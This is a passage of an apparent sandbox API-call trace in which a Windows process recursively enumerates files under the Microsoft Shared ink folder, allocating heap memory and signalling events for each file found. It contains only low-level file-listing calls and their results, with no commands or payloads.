| out: hFindFile=0x37225c8) returned 1 [0165.553] GetProcessHeap () returned 0x6a0000 [0165.553] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.553] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0165.553] GetProcessHeap () returned 0x6a0000 [0165.553] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.556] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.556] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.556] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.556] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.556] GetProcessHeap () returned 0x6a0000 [0165.556] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.556] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0165.556] GetProcessHeap () returned 0x6a0000 [0165.556] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.556] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.557] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.557] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.557] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.557] GetProcessHeap () returned 0x6a0000 [0165.557] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.557] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0165.557] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0165.557] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0165.557] GetProcessHeap () returned 0x6a0000 [0165.557] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.557] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.558] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.558] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.558] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.558] GetProcessHeap () returned 0x6a0000 [0165.558] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.558] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0165.558] GetProcessHeap () returned 0x6a0000 [0165.558] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.826] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.826] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0165.826] GetProcessHeap () returned 0x6a0000 [0165.826] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0165.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0165.876] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.876] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0165.876] SetEvent (hEvent=0x178) returned 1 [0165.877] ResetEvent (hEvent=0x17c) returned 1 [0165.879] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0165.879] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0165.879] GetProcessHeap () returned 0x6a0000 [0165.879] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0165.879] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0165.879] SetEvent (hEvent=0x178) returned 1 [0165.880] ResetEvent (hEvent=0x17c) returned 1 [0165.882] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0165.882] GetProcessHeap () returned 0x6a0000 [0165.882] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0165.882] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0165.882] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.882] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0165.883] SetEvent (hEvent=0x178) returned 1 [0165.883] ResetEvent (hEvent=0x17c) returned 1 [0165.922] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0165.923] SetEvent (hEvent=0x178) returned 1 [0165.924] ResetEvent (hEvent=0x17c) returned 1 [0165.930] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0165.931] SetEvent (hEvent=0x178) returned 1 [0165.932] ResetEvent (hEvent=0x17c) returned 1 [0165.937] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0165.937] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0165.946] GetProcessHeap () returned 0x6a0000 [0165.946] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0165.948] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0165.951] SetEvent (hEvent=0x178) returned 1 [0165.953] ResetEvent (hEvent=0x17c) returned 1 [0165.966] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0165.974] GetProcessHeap () returned 0x6a0000 [0165.974] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0165.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0165.985] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.985] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0165.985] SetEvent (hEvent=0x178) returned 1 [0165.985] ResetEvent (hEvent=0x17c) returned 1 [0165.988] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0165.988] SetEvent (hEvent=0x178) returned 1 [0165.989] ResetEvent (hEvent=0x17c) returned 1 [0165.991] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0165.991] SetEvent (hEvent=0x178) returned 1 [0165.991] ResetEvent (hEvent=0x17c) returned 1 [0165.994] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: 